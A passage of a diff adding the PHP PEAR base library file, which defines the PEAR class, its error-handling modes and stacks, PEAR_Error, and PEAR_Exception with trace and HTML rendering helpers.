http://pear.php.net/package/PEAR + * @since File available since Release 0.1 + */ + +/* + * If the is already loaded (some hosts do that), don't load it again. + */ +// as we need PEAR, PEAR_Exception and PEAR_Error, we have to check their existence separately +if (!class_exists('PEAR', false)) +{ + + + + /**#@+ + * ERROR constants + */ + define('PEAR_ERROR_RETURN', 1); + define('PEAR_ERROR_PRINT', 2); + define('PEAR_ERROR_TRIGGER', 4); + define('PEAR_ERROR_DIE', 8); + define('PEAR_ERROR_CALLBACK', 16); + + /** + * WARNING: obsolete + * @deprecated + */ + define('PEAR_ERROR_EXCEPTION', 32); + /**#@-*/ + define('PEAR_ZE2', (function_exists('version_compare') && + version_compare(zend_version(), "2-dev", "ge"))); + + if (substr(PHP_OS, 0, 3) == 'WIN') { + define('OS_WINDOWS', true); + define('OS_UNIX', false); + define('PEAR_OS', 'Windows'); + } else { + define('OS_WINDOWS', false); + define('OS_UNIX', true); + define('PEAR_OS', 'Unix'); // blatant assumption + } + + // instant backwards compatibility + if (!defined('PATH_SEPARATOR')) { + if (OS_WINDOWS) { + define('PATH_SEPARATOR', ';'); + } else { + define('PATH_SEPARATOR', ':'); + } + } + + $GLOBALS['_PEAR_default_error_mode'] = PEAR_ERROR_RETURN; + $GLOBALS['_PEAR_default_error_options'] = E_USER_NOTICE; + $GLOBALS['_PEAR_destructor_object_list'] = array(); + $GLOBALS['_PEAR_shutdown_funcs'] = array(); + $GLOBALS['_PEAR_error_handler_stack'] = array(); + + @ini_set('track_errors', true); + + /** + * Base class for other PEAR classes. Provides rudimentary + * emulation of destructors. + * + * If you want a destructor in your class, inherit PEAR and make a + * destructor method called _yourclassname (same name as the + * constructor, but with a "_" prefix). Also, in your constructor you + * have to call the PEAR constructor: $this->PEAR();. + * The destructor method will be called without parameters. Note that + * at in some SAPI implementations (such as Apache), any output during + * the request shutdown (in which destructors are called) seems to be + * discarded. If you need to get any debug information from your + * destructor, use error_log(), syslog() or something similar. + * + * IMPORTANT! To use the emulated destructors you need to create the + * objects by reference: $obj =& new PEAR_child; + * + * @category pear + * @package PEAR + * @author Stig Bakken + * @author Tomas V.V. Cox + * @author Greg Beaver + * @copyright 1997-2006 The PHP Group + * @license http://www.php.net/license/3_0.txt PHP License 3.0 + * @version Release: 1.4.9 + * @link http://pear.php.net/package/PEAR + * @see PEAR_Error + * @since Class available since PHP 4.0.2 + * @link http://pear.php.net/manual/en/core.pear.php#core.pear.pear + */ + class PEAR + { + // {{{ properties + + /** + * Whether to enable internal debug messages. + * + * @var bool + * @access private + */ + var $_debug = false; + + /** + * Default error mode for this object. + * + * @var int + * @access private + */ + var $_default_error_mode = null; + + /** + * Default error options used for this object when error mode + * is PEAR_ERROR_TRIGGER. + * + * @var int + * @access private + */ + var $_default_error_options = null; + + /** + * Default error handler (callback) for this object, if error mode is + * PEAR_ERROR_CALLBACK. + * + * @var string + * @access private + */ + var $_default_error_handler = ''; + + /** + * Which class to use for error objects. + * + * @var string + * @access private + */ + var $_error_class = 'PEAR_Error'; + + /** + * An array of expected errors. + * + * @var array + * @access private + */ + var $_expected_errors = array(); + + // }}} + + // {{{ constructor + + /** + * Constructor. Registers this object in + * $_PEAR_destructor_object_list for destructor emulation if a + * destructor object exists. + * + * @param string $error_class (optional) which class to use for + * error objects, defaults to PEAR_Error. + * @access public + * @return void + */ + function PEAR($error_class = null) + { + $classname = strtolower(get_class($this)); + if ($this->_debug) { + print "PEAR constructor called, class=$classname\n"; + } + if ($error_class !== null) { + $this->_error_class = $error_class; + } + while ($classname && strcasecmp($classname, "pear")) { + $destructor = "_$classname"; + if (method_exists($this, $destructor)) { + global $_PEAR_destructor_object_list; + $_PEAR_destructor_object_list[] = &$this; + if (!isset($GLOBALS['_PEAR_SHUTDOWN_REGISTERED'])) { + register_shutdown_function("_PEAR_call_destructors"); + $GLOBALS['_PEAR_SHUTDOWN_REGISTERED'] = true; + } + break; + } else { + $classname = get_parent_class($classname); + } + } + } + + // }}} + // {{{ destructor + + /** + * Destructor (the emulated type of...). Does nothing right now, + * but is included for forward compatibility, so subclass + * destructors should always call it. + * + * See the note in the class desciption about output from + * destructors. + * + * @access public + * @return void + */ + function _PEAR() { + if ($this->_debug) { + printf("PEAR destructor called, class=%s\n", strtolower(get_class($this))); + } + } + + // }}} + // {{{ getStaticProperty() + + /** + * If you have a class that's mostly/entirely static, and you need static + * properties, you can use this method to simulate them. Eg. in your method(s) + * do this: $myVar = &PEAR::getStaticProperty('myclass', 'myVar'); + * You MUST use a reference, or they will not persist! + * + * @access public + * @param string $class The calling classname, to prevent clashes + * @param string $var The variable to retrieve. + * @return mixed A reference to the variable. If not set it will be + * auto initialised to NULL. + */ + function &getStaticProperty($class, $var) + { + static $properties; + return $properties[$class][$var]; + } + + // }}} + // {{{ registerShutdownFunc() + + /** + * Use this function to register a shutdown method for static + * classes. + * + * @access public + * @param mixed $func The function name (or array of class/method) to call + * @param mixed $args The arguments to pass to the function + * @return void + */ + function registerShutdownFunc($func, $args = array()) + { + // if we are called statically, there is a potential + // that no shutdown func is registered. Bug #6445 + if (!isset($GLOBALS['_PEAR_SHUTDOWN_REGISTERED'])) { + register_shutdown_function("_PEAR_call_destructors"); + $GLOBALS['_PEAR_SHUTDOWN_REGISTERED'] = true; + } + $GLOBALS['_PEAR_shutdown_funcs'][] = array($func, $args); + } + + // }}} + // {{{ isError() + + /** + * Tell whether a value is a PEAR error. + * + * @param mixed $data the value to test + * @param int $code if $data is an error object, return true + * only if $code is a string and + * $obj->getMessage() == $code or + * $code is an integer and $obj->getCode() == $code + * @access public + * @return bool true if parameter is an error + */ + function isError($data, $code = null) + { + if (is_a($data, 'PEAR_Error')) { + if (is_null($code)) { + return true; + } elseif (is_string($code)) { + return $data->getMessage() == $code; + } else { + return $data->getCode() == $code; + } + } + return false; + } + + // }}} + // {{{ setErrorHandling() + + /** + * Sets how errors generated by this object should be handled. + * Can be invoked both in objects and statically. If called + * statically, setErrorHandling sets the default behaviour for all + * PEAR objects. If called in an object, setErrorHandling sets + * the default behaviour for that object. + * + * @param int $mode + * One of PEAR_ERROR_RETURN, PEAR_ERROR_PRINT, + * PEAR_ERROR_TRIGGER, PEAR_ERROR_DIE, + * PEAR_ERROR_CALLBACK or PEAR_ERROR_EXCEPTION. + * + * @param mixed $options + * When $mode is PEAR_ERROR_TRIGGER, this is the error level (one + * of E_USER_NOTICE, E_USER_WARNING or E_USER_ERROR). + * + * When $mode is PEAR_ERROR_CALLBACK, this parameter is expected + * to be the callback function or method. A callback + * function is a string with the name of the function, a + * callback method is an array of two elements: the element + * at index 0 is the object, and the element at index 1 is + * the name of the method to call in the object. + * + * When $mode is PEAR_ERROR_PRINT or PEAR_ERROR_DIE, this is + * a printf format string used when printing the error + * message. + * + * @access public + * @return void + * @see PEAR_ERROR_RETURN + * @see PEAR_ERROR_PRINT + * @see PEAR_ERROR_TRIGGER + * @see PEAR_ERROR_DIE + * @see PEAR_ERROR_CALLBACK + * @see PEAR_ERROR_EXCEPTION + * + * @since PHP 4.0.5 + */ + + function setErrorHandling($mode = null, $options = null) + { + if (isset($this) && is_a($this, 'PEAR')) { + $setmode = &$this->_default_error_mode; + $setoptions = &$this->_default_error_options; + } else { + $setmode = &$GLOBALS['_PEAR_default_error_mode']; + $setoptions = &$GLOBALS['_PEAR_default_error_options']; + } + + switch ($mode) { + case PEAR_ERROR_EXCEPTION: + case PEAR_ERROR_RETURN: + case PEAR_ERROR_PRINT: + case PEAR_ERROR_TRIGGER: + case PEAR_ERROR_DIE: + case null: + $setmode = $mode; + $setoptions = $options; + break; + + case PEAR_ERROR_CALLBACK: + $setmode = $mode; + // class/object method callback + if (is_callable($options)) { + $setoptions = $options; + } else { + trigger_error("invalid error callback", E_USER_WARNING); + } + break; + + default: + trigger_error("invalid error mode", E_USER_WARNING); + break; + } + } + + // }}} + // {{{ expectError() + + /** + * This method is used to tell which errors you expect to get. + * Expected errors are always returned with error mode + * PEAR_ERROR_RETURN. Expected error codes are stored in a stack, + * and this method pushes a new element onto it. The list of + * expected errors are in effect until they are popped off the + * stack with the popExpect() method. + * + * Note that this method can not be called statically + * + * @param mixed $code a single error code or an array of error codes to expect + * + * @return int the new depth of the "expected errors" stack + * @access public + */ + function expectError($code = '*') + { + if (is_array($code)) { + array_push($this->_expected_errors, $code); + } else { + array_push($this->_expected_errors, array($code)); + } + return sizeof($this->_expected_errors); + } + + // }}} + // {{{ popExpect() + + /** + * This method pops one element off the expected error codes + * stack. + * + * @return array the list of error codes that were popped + */ + function popExpect() + { + return array_pop($this->_expected_errors); + } + + // }}} + // {{{ _checkDelExpect() + + /** + * This method checks unsets an error code if available + * + * @param mixed error code + * @return bool true if the error code was unset, false otherwise + * @access private + * @since PHP 4.3.0 + */ + function _checkDelExpect($error_code) + { + $deleted = false; + + foreach ($this->_expected_errors AS $key => $error_array) { + if (in_array($error_code, $error_array)) { + unset($this->_expected_errors[$key][array_search($error_code, $error_array)]); + $deleted = true; + } + + // clean up empty arrays + if (0 == sizeof($this->_expected_errors[$key])) { + unset($this->_expected_errors[$key]); + } + } + return $deleted; + } + + // }}} + // {{{ delExpect() + + /** + * This method deletes all occurences of the specified element from + * the expected error codes stack. + * + * @param mixed $error_code error code that should be deleted + * @return mixed list of error codes that were deleted or error + * @access public + * @since PHP 4.3.0 + */ + function delExpect($error_code) + { + $deleted = false; + + if ((is_array($error_code) && (0 != sizeof($error_code)))) { + // $error_code is a non-empty array here; + // we walk through it trying to unset all + // values + foreach($error_code as $key => $error) { + if ($this->_checkDelExpect($error)) { + $deleted = true; + } else { + $deleted = false; + } + } + return $deleted ? true : PEAR::raiseError("The expected error you submitted does not exist"); // IMPROVE ME + } elseif (!empty($error_code)) { + // $error_code comes alone, trying to unset it + if ($this->_checkDelExpect($error_code)) { + return true; + } else { + return PEAR::raiseError("The expected error you submitted does not exist"); // IMPROVE ME + } + } else { + // $error_code is empty + return PEAR::raiseError("The expected error you submitted is empty"); // IMPROVE ME + } + } + + // }}} + // {{{ raiseError() + + /** + * This method is a wrapper that returns an instance of the + * configured error class with this object's default error + * handling applied. If the $mode and $options parameters are not + * specified, the object's defaults are used. + * + * @param mixed $message a text error message or a PEAR error object + * + * @param int $code a numeric error code (it is up to your class + * to define these if you want to use codes) + * + * @param int $mode One of PEAR_ERROR_RETURN, PEAR_ERROR_PRINT, + * PEAR_ERROR_TRIGGER, PEAR_ERROR_DIE, + * PEAR_ERROR_CALLBACK, PEAR_ERROR_EXCEPTION. + * + * @param mixed $options If $mode is PEAR_ERROR_TRIGGER, this parameter + * specifies the PHP-internal error level (one of + * E_USER_NOTICE, E_USER_WARNING or E_USER_ERROR). + * If $mode is PEAR_ERROR_CALLBACK, this + * parameter specifies the callback function or + * method. In other error modes this parameter + * is ignored. + * + * @param string $userinfo If you need to pass along for example debug + * information, this parameter is meant for that. + * + * @param string $error_class The returned error object will be + * instantiated from this class, if specified. + * + * @param bool $skipmsg If true, raiseError will only pass error codes, + * the error message parameter will be dropped. + * + * @access public + * @return object a PEAR error object + * @see PEAR::setErrorHandling + * @since PHP 4.0.5 + */ + function &raiseError($message = null, + $code = null, + $mode = null, + $options = null, + $userinfo = null, + $error_class = null, + $skipmsg = false) + { + // The error is yet a PEAR error object + if (is_object($message)) { + $code = $message->getCode(); + $userinfo = $message->getUserInfo(); + $error_class = $message->getType(); + $message->error_message_prefix = ''; + $message = $message->getMessage(); + } + + if (isset($this) && isset($this->_expected_errors) && sizeof($this->_expected_errors) > 0 && sizeof($exp = end($this->_expected_errors))) { + if ($exp[0] == "*" || + (is_int(reset($exp)) && in_array($code, $exp)) || + (is_string(reset($exp)) && in_array($message, $exp))) { + $mode = PEAR_ERROR_RETURN; + } + } + // No mode given, try global ones + if ($mode === null) { + // Class error handler + if (isset($this) && isset($this->_default_error_mode)) { + $mode = $this->_default_error_mode; + $options = $this->_default_error_options; + // Global error handler + } elseif (isset($GLOBALS['_PEAR_default_error_mode'])) { + $mode = $GLOBALS['_PEAR_default_error_mode']; + $options = $GLOBALS['_PEAR_default_error_options']; + } + } + + if ($error_class !== null) { + $ec = $error_class; + } elseif (isset($this) && isset($this->_error_class)) { + $ec = $this->_error_class; + } else { + $ec = 'PEAR_Error'; + } + if ($skipmsg) { + $a = new $ec($code, $mode, $options, $userinfo); + return $a; + } else { + $a = new $ec($message, $code, $mode, $options, $userinfo); + return $a; + } + } + + // }}} + // {{{ throwError() + + /** + * Simpler form of raiseError with fewer options. In most cases + * message, code and userinfo are enough. + * + * @param string $message + * + */ + function &throwError($message = null, + $code = null, + $userinfo = null) + { + if (isset($this) && is_a($this, 'PEAR')) { + $a = &$this->raiseError($message, $code, null, null, $userinfo); + return $a; + } else { + $a = &PEAR::raiseError($message, $code, null, null, $userinfo); + return $a; + } + } + + // }}} + function staticPushErrorHandling($mode, $options = null) + { + $stack = &$GLOBALS['_PEAR_error_handler_stack']; + $def_mode = &$GLOBALS['_PEAR_default_error_mode']; + $def_options = &$GLOBALS['_PEAR_default_error_options']; + $stack[] = array($def_mode, $def_options); + switch ($mode) { + case PEAR_ERROR_EXCEPTION: + case PEAR_ERROR_RETURN: + case PEAR_ERROR_PRINT: + case PEAR_ERROR_TRIGGER: + case PEAR_ERROR_DIE: + case null: + $def_mode = $mode; + $def_options = $options; + break; + + case PEAR_ERROR_CALLBACK: + $def_mode = $mode; + // class/object method callback + if (is_callable($options)) { + $def_options = $options; + } else { + trigger_error("invalid error callback", E_USER_WARNING); + } + break; + + default: + trigger_error("invalid error mode", E_USER_WARNING); + break; + } + $stack[] = array($mode, $options); + return true; + } + + function staticPopErrorHandling() + { + $stack = &$GLOBALS['_PEAR_error_handler_stack']; + $setmode = &$GLOBALS['_PEAR_default_error_mode']; + $setoptions = &$GLOBALS['_PEAR_default_error_options']; + array_pop($stack); + list($mode, $options) = $stack[sizeof($stack) - 1]; + array_pop($stack); + switch ($mode) { + case PEAR_ERROR_EXCEPTION: + case PEAR_ERROR_RETURN: + case PEAR_ERROR_PRINT: + case PEAR_ERROR_TRIGGER: + case PEAR_ERROR_DIE: + case null: + $setmode = $mode; + $setoptions = $options; + break; + + case PEAR_ERROR_CALLBACK: + $setmode = $mode; + // class/object method callback + if (is_callable($options)) { + $setoptions = $options; + } else { + trigger_error("invalid error callback", E_USER_WARNING); + } + break; + + default: + trigger_error("invalid error mode", E_USER_WARNING); + break; + } + return true; + } + + // {{{ pushErrorHandling() + + /** + * Push a new error handler on top of the error handler options stack. With this + * you can easily override the actual error handler for some code and restore + * it later with popErrorHandling. + * + * @param mixed $mode (same as setErrorHandling) + * @param mixed $options (same as setErrorHandling) + * + * @return bool Always true + * + * @see PEAR::setErrorHandling + */ + function pushErrorHandling($mode, $options = null) + { + $stack = &$GLOBALS['_PEAR_error_handler_stack']; + if (isset($this) && is_a($this, 'PEAR')) { + $def_mode = &$this->_default_error_mode; + $def_options = &$this->_default_error_options; + } else { + $def_mode = &$GLOBALS['_PEAR_default_error_mode']; + $def_options = &$GLOBALS['_PEAR_default_error_options']; + } + $stack[] = array($def_mode, $def_options); + + if (isset($this) && is_a($this, 'PEAR')) { + $this->setErrorHandling($mode, $options); + } else { + PEAR::setErrorHandling($mode, $options); + } + $stack[] = array($mode, $options); + return true; + } + + // }}} + // {{{ popErrorHandling() + + /** + * Pop the last error handler used + * + * @return bool Always true + * + * @see PEAR::pushErrorHandling + */ + function popErrorHandling() + { + $stack = &$GLOBALS['_PEAR_error_handler_stack']; + array_pop($stack); + list($mode, $options) = $stack[sizeof($stack) - 1]; + array_pop($stack); + if (isset($this) && is_a($this, 'PEAR')) { + $this->setErrorHandling($mode, $options); + } else { + PEAR::setErrorHandling($mode, $options); + } + return true; + } + + // }}} + // {{{ loadExtension() + + /** + * OS independant PHP extension load. Remember to take care + * on the correct extension name for case sensitive OSes. + * + * @param string $ext The extension name + * @return bool Success or not on the dl() call + */ + function loadExtension($ext) + { + if (!extension_loaded($ext)) { + // if either returns true dl() will produce a FATAL error, stop that + if ((ini_get('enable_dl') != 1) || (ini_get('safe_mode') == 1)) { + return false; + } + if (OS_WINDOWS) { + $suffix = '.dll'; + } elseif (PHP_OS == 'HP-UX') { + $suffix = '.sl'; + } elseif (PHP_OS == 'AIX') { + $suffix = '.a'; + } elseif (PHP_OS == 'OSX') { + $suffix = '.bundle'; + } else { + $suffix = '.so'; + } + return @dl('php_'.$ext.$suffix) || @dl($ext.$suffix); + } + return true; + } + + // }}} + } + + // {{{ _PEAR_call_destructors() + + function _PEAR_call_destructors() + { + global $_PEAR_destructor_object_list; + if (is_array($_PEAR_destructor_object_list) && + sizeof($_PEAR_destructor_object_list)) + { + reset($_PEAR_destructor_object_list); + if (@PEAR::getStaticProperty('PEAR', 'destructlifo')) { + $_PEAR_destructor_object_list = array_reverse($_PEAR_destructor_object_list); + } + while (list($k, $objref) = each($_PEAR_destructor_object_list)) { + $classname = get_class($objref); + while ($classname) { + $destructor = "_$classname"; + if (method_exists($objref, $destructor)) { + $objref->$destructor(); + break; + } else { + $classname = get_parent_class($classname); + } + } + } + // Empty the object list to ensure that destructors are + // not called more than once. + $_PEAR_destructor_object_list = array(); + } + + // Now call the shutdown functions + if (is_array($GLOBALS['_PEAR_shutdown_funcs']) AND !empty($GLOBALS['_PEAR_shutdown_funcs'])) { + foreach ($GLOBALS['_PEAR_shutdown_funcs'] as $value) { + call_user_func_array($value[0], $value[1]); + } + } + } +} + +// }}} +/** + * Standard PEAR error class for PHP 4 + * + * This class is supserseded by {@link PEAR_Exception} in PHP 5 + * + * @category pear + * @package PEAR + * @author Stig Bakken + * @author Tomas V.V. Cox + * @author Gregory Beaver + * @copyright 1997-2006 The PHP Group + * @license http://www.php.net/license/3_0.txt PHP License 3.0 + * @version Release: 1.4.9 + * @link http://pear.php.net/manual/en/core.pear.pear-error.php + * @see PEAR::raiseError(), PEAR::throwError() + * @since Class available since PHP 4.0.2 + */ +if (!class_exists('PEAR_Error', false)) +{ + class PEAR_Error + { + // {{{ properties + + var $error_message_prefix = ''; + var $mode = PEAR_ERROR_RETURN; + var $level = E_USER_NOTICE; + var $code = -1; + var $message = ''; + var $userinfo = ''; + var $backtrace = null; + + // }}} + // {{{ constructor + + /** + * PEAR_Error constructor + * + * @param string $message message + * + * @param int $code (optional) error code + * + * @param int $mode (optional) error mode, one of: PEAR_ERROR_RETURN, + * PEAR_ERROR_PRINT, PEAR_ERROR_DIE, PEAR_ERROR_TRIGGER, + * PEAR_ERROR_CALLBACK or PEAR_ERROR_EXCEPTION + * + * @param mixed $options (optional) error level, _OR_ in the case of + * PEAR_ERROR_CALLBACK, the callback function or object/method + * tuple. + * + * @param string $userinfo (optional) additional user/debug info + * + * @access public + * + */ + function PEAR_Error($message = 'unknown error', $code = null, + $mode = null, $options = null, $userinfo = null) + { + if ($mode === null) { + $mode = PEAR_ERROR_RETURN; + } + $this->message = $message; + $this->code = $code; + $this->mode = $mode; + $this->userinfo = $userinfo; + if (function_exists("debug_backtrace")) { + if (@!PEAR::getStaticProperty('PEAR_Error', 'skiptrace')) { + $this->backtrace = debug_backtrace(); + } + } + if ($mode & PEAR_ERROR_CALLBACK) { + $this->level = E_USER_NOTICE; + $this->callback = $options; + } else { + if ($options === null) { + $options = E_USER_NOTICE; + } + $this->level = $options; + $this->callback = null; + } + if ($this->mode & PEAR_ERROR_PRINT) { + if (is_null($options) || is_int($options)) { + $format = "%s"; + } else { + $format = $options; + } + printf($format, $this->getMessage()); + } + if ($this->mode & PEAR_ERROR_TRIGGER) { + trigger_error($this->getMessage(), $this->level); + } + if ($this->mode & PEAR_ERROR_DIE) { + $msg = $this->getMessage(); + if (is_null($options) || is_int($options)) { + $format = "%s"; + if (substr($msg, -1) != "\n") { + $msg .= "\n"; + } + } else { + $format = $options; + } + die(sprintf($format, $msg)); + } + if ($this->mode & PEAR_ERROR_CALLBACK) { + if (is_callable($this->callback)) { + call_user_func($this->callback, $this); + } + } + if ($this->mode & PEAR_ERROR_EXCEPTION) { + trigger_error("PEAR_ERROR_EXCEPTION is obsolete, use class PEAR_Exception for exceptions", E_USER_WARNING); + eval('$e = new Exception($this->message, $this->code);throw($e);'); + } + } + + // }}} + // {{{ getMode() + + /** + * Get the error mode from an error object. + * + * @return int error mode + * @access public + */ + function getMode() { + return $this->mode; + } + + // }}} + // {{{ getCallback() + + /** + * Get the callback function/method from an error object. + * + * @return mixed callback function or object/method array + * @access public + */ + function getCallback() { + return $this->callback; + } + + // }}} + // {{{ getMessage() + + + /** + * Get the error message from an error object. + * + * @return string full error message + * @access public + */ + function getMessage() + { + return ($this->error_message_prefix . $this->message); + } + + + // }}} + // {{{ getCode() + + /** + * Get error code from an error object + * + * @return int error code + * @access public + */ + function getCode() + { + return $this->code; + } + + // }}} + // {{{ getType() + + /** + * Get the name of this error/exception. + * + * @return string error/exception name (type) + * @access public + */ + function getType() + { + return get_class($this); + } + + // }}} + // {{{ getUserInfo() + + /** + * Get additional user-supplied information. + * + * @return string user-supplied information + * @access public + */ + function getUserInfo() + { + return $this->userinfo; + } + + // }}} + // {{{ getDebugInfo() + + /** + * Get additional debug information supplied by the application. + * + * @return string debug information + * @access public + */ + function getDebugInfo() + { + return $this->getUserInfo(); + } + + // }}} + // {{{ getBacktrace() + + /** + * Get the call backtrace from where the error was generated. + * Supported with PHP 4.3.0 or newer. + * + * @param int $frame (optional) what frame to fetch + * @return array Backtrace, or NULL if not available. + * @access public + */ + function getBacktrace($frame = null) + { + if (defined('PEAR_IGNORE_BACKTRACE')) { + return null; + } + if ($frame === null) { + return $this->backtrace; + } + return $this->backtrace[$frame]; + } + + // }}} + // {{{ addUserInfo() + + function addUserInfo($info) + { + if (empty($this->userinfo)) { + $this->userinfo = $info; + } else { + $this->userinfo .= " ** $info"; + } + } + + // }}} + // {{{ toString() + + /** + * Make a string representation of this object. + * + * @return string a string with an object summary + * @access public + */ + function toString() { + $modes = array(); + $levels = array(E_USER_NOTICE => 'notice', + E_USER_WARNING => 'warning', + E_USER_ERROR => 'error'); + if ($this->mode & PEAR_ERROR_CALLBACK) { + if (is_array($this->callback)) { + $callback = (is_object($this->callback[0]) ? + strtolower(get_class($this->callback[0])) : + $this->callback[0]) . '::' . + $this->callback[1]; + } else { + $callback = $this->callback; + } + return sprintf('[%s: message="%s" code=%d mode=callback '. + 'callback=%s prefix="%s" info="%s"]', + strtolower(get_class($this)), $this->message, $this->code, + $callback, $this->error_message_prefix, + $this->userinfo); + } + if ($this->mode & PEAR_ERROR_PRINT) { + $modes[] = 'print'; + } + if ($this->mode & PEAR_ERROR_TRIGGER) { + $modes[] = 'trigger'; + } + if ($this->mode & PEAR_ERROR_DIE) { + $modes[] = 'die'; + } + if ($this->mode & PEAR_ERROR_RETURN) { + $modes[] = 'return'; + } + return sprintf('[%s: message="%s" code=%d mode=%s level=%s '. + 'prefix="%s" info="%s"]', + strtolower(get_class($this)), $this->message, $this->code, + implode("|", $modes), $levels[$this->level], + $this->error_message_prefix, + $this->userinfo); + } + + // }}} + } +} +if (!class_exists('PEAR_Exception', false)) +{ + class PEAR_Exception extends Exception + { + const OBSERVER_PRINT = -2; + const OBSERVER_TRIGGER = -4; + const OBSERVER_DIE = -8; + protected $cause; + private static $_observers = array(); + private static $_uniqueid = 0; + private $_trace; + + /** + * Supported signatures: + * - PEAR_Exception(string $message); + * - PEAR_Exception(string $message, int $code); + * - PEAR_Exception(string $message, Exception $cause); + * - PEAR_Exception(string $message, Exception $cause, int $code); + * - PEAR_Exception(string $message, PEAR_Error $cause); + * - PEAR_Exception(string $message, PEAR_Error $cause, int $code); + * - PEAR_Exception(string $message, array $causes); + * - PEAR_Exception(string $message, array $causes, int $code); + * @param string exception message + * @param int|Exception|PEAR_Error|array|null exception cause + * @param int|null exception code or null + */ + public function __construct($message, $p2 = null, $p3 = null) + { + if (is_int($p2)) { + $code = $p2; + $this->cause = null; + } elseif (is_object($p2) || is_array($p2)) { + // using is_object allows both Exception and PEAR_Error + if (is_object($p2) && !($p2 instanceof Exception)) { + if (!class_exists('PEAR_Error') || !($p2 instanceof PEAR_Error)) { + throw new PEAR_Exception('exception cause must be Exception, ' . + 'array, or PEAR_Error'); + } + } + $code = $p3; + if (is_array($p2) && isset($p2['message'])) { + // fix potential problem of passing in a single warning + $p2 = array($p2); + } + $this->cause = $p2; + } else { + $code = null; + $this->cause = null; + } + parent::__construct($message, $code); + $this->signal(); + } + + /** + * @param mixed $callback - A valid php callback, see php func is_callable() + * - A PEAR_Exception::OBSERVER_* constant + * - An array(const PEAR_Exception::OBSERVER_*, + * mixed $options) + * @param string $label The name of the observer. Use this if you want + * to remove it later with removeObserver() + */ + public static function addObserver($callback, $label = 'default') + { + self::$_observers[$label] = $callback; + } + + public static function removeObserver($label = 'default') + { + unset(self::$_observers[$label]); + } + + /** + * @return int unique identifier for an observer + */ + public static function getUniqueId() + { + return self::$_uniqueid++; + } + + private function signal() + { + foreach (self::$_observers as $func) { + if (is_callable($func)) { + call_user_func($func, $this); + continue; + } + settype($func, 'array'); + switch ($func[0]) { + case self::OBSERVER_PRINT : + $f = (isset($func[1])) ? $func[1] : '%s'; + printf($f, $this->getMessage()); + break; + case self::OBSERVER_TRIGGER : + $f = (isset($func[1])) ? $func[1] : E_USER_NOTICE; + trigger_error($this->getMessage(), $f); + break; + case self::OBSERVER_DIE : + $f = (isset($func[1])) ? $func[1] : '%s'; + die(printf($f, $this->getMessage())); + break; + default: + trigger_error('invalid observer type', E_USER_WARNING); + } + } + } + + /** + * Return specific error information that can be used for more detailed + * error messages or translation. + * + * This method may be overridden in child exception classes in order + * to add functionality not present in PEAR_Exception and is a placeholder + * to define API + * + * The returned array must be an associative array of parameter => value like so: + *
        +			 * array('name' => $name, 'context' => array(...))
        +			 * 
        + * @return array + */ + public function getErrorData() + { + return array(); + } + + /** + * Returns the exception that caused this exception to be thrown + * @access public + * @return Exception|array The context of the exception + */ + public function getCause() + { + return $this->cause; + } + + /** + * Function must be public to call on caused exceptions + * @param array + */ + public function getCauseMessage(&$causes) + { + $trace = $this->getTraceSafe(); + $cause = array('class' => get_class($this), + 'message' => $this->message, + 'file' => 'unknown', + 'line' => 'unknown'); + if (isset($trace[0])) { + if (isset($trace[0]['file'])) { + $cause['file'] = $trace[0]['file']; + $cause['line'] = $trace[0]['line']; + } + } + $causes[] = $cause; + if ($this->cause instanceof PEAR_Exception) { + $this->cause->getCauseMessage($causes); + } elseif ($this->cause instanceof Exception) { + $causes[] = array('class' => get_class($this->cause), + 'message' => $this->cause->getMessage(), + 'file' => $this->cause->getFile(), + 'line' => $this->cause->getLine()); + } elseif (class_exists('PEAR_Error') && $this->cause instanceof PEAR_Error) { + $causes[] = array('class' => get_class($this->cause), + 'message' => $this->cause->getMessage(), + 'file' => 'unknown', + 'line' => 'unknown'); + } elseif (is_array($this->cause)) { + foreach ($this->cause as $cause) { + if ($cause instanceof PEAR_Exception) { + $cause->getCauseMessage($causes); + } elseif ($cause instanceof Exception) { + $causes[] = array('class' => get_class($cause), + 'message' => $cause->getMessage(), + 'file' => $cause->getFile(), + 'line' => $cause->getLine()); + } elseif (class_exists('PEAR_Error') && $cause instanceof PEAR_Error) { + $causes[] = array('class' => get_class($cause), + 'message' => $cause->getMessage(), + 'file' => 'unknown', + 'line' => 'unknown'); + } elseif (is_array($cause) && isset($cause['message'])) { + // PEAR_ErrorStack warning + $causes[] = array( + 'class' => $cause['package'], + 'message' => $cause['message'], + 'file' => isset($cause['context']['file']) ? + $cause['context']['file'] : + 'unknown', + 'line' => isset($cause['context']['line']) ? + $cause['context']['line'] : + 'unknown', + ); + } + } + } + } + + public function getTraceSafe() + { + if (!isset($this->_trace)) { + $this->_trace = $this->getTrace(); + if (empty($this->_trace)) { + $backtrace = debug_backtrace(); + $this->_trace = array($backtrace[sizeof($backtrace)-1]); + } + } + return $this->_trace; + } + + public function getErrorClass() + { + $trace = $this->getTraceSafe(); + return $trace[0]['class']; + } + + public function getErrorMethod() + { + $trace = $this->getTraceSafe(); + return $trace[0]['function']; + } + + public function __toString() + { + if (isset($_SERVER['REQUEST_URI'])) { + return $this->toHtml(); + } + return $this->toText(); + } + + public function toHtml() + { + $trace = $this->getTraceSafe(); + $causes = array(); + $this->getCauseMessage($causes); + $html = '' . "\n"; + foreach ($causes as $i => $cause) { + $html .= '\n"; + } + $html .= '' . "\n" + . '' + . '' + . '' . "\n"; + + foreach ($trace as $k => $v) { + $html .= '' + . '' + . '' . "\n"; + } + $html .= '' + . '' + . '' . "\n" + . '
        ' + . str_repeat('-', $i) . ' ' . $cause['class'] . ': ' + . htmlspecialchars($cause['message']) . ' in ' . $cause['file'] . ' ' + . 'on line ' . $cause['line'] . '' + . "
        Exception trace
        #FunctionLocation
        ' . $k . ''; + if (!empty($v['class'])) { + $html .= $v['class'] . $v['type']; + } + $html .= $v['function']; + $args = array(); + if (!empty($v['args'])) { + foreach ($v['args'] as $arg) { + if (is_null($arg)) $args[] = 'null'; + elseif (is_array($arg)) $args[] = 'Array'; + elseif (is_object($arg)) $args[] = 'Object('.get_class($arg).')'; + elseif (is_bool($arg)) $args[] = $arg ? 'true' : 'false'; + elseif (is_int($arg) || is_double($arg)) $args[] = $arg; + else { + $arg = (string)$arg; + $str = htmlspecialchars(substr($arg, 0, 16)); + if (strlen($arg) > 16) $str .= '…'; + $args[] = "'" . $str . "'"; + } + } + } + $html .= '(' . implode(', ',$args) . ')' + . '' . (isset($v['file']) ? $v['file'] : 'unknown') + . ':' . (isset($v['line']) ? $v['line'] : 'unknown') + . '
        ' . ($k+1) . '{main} 
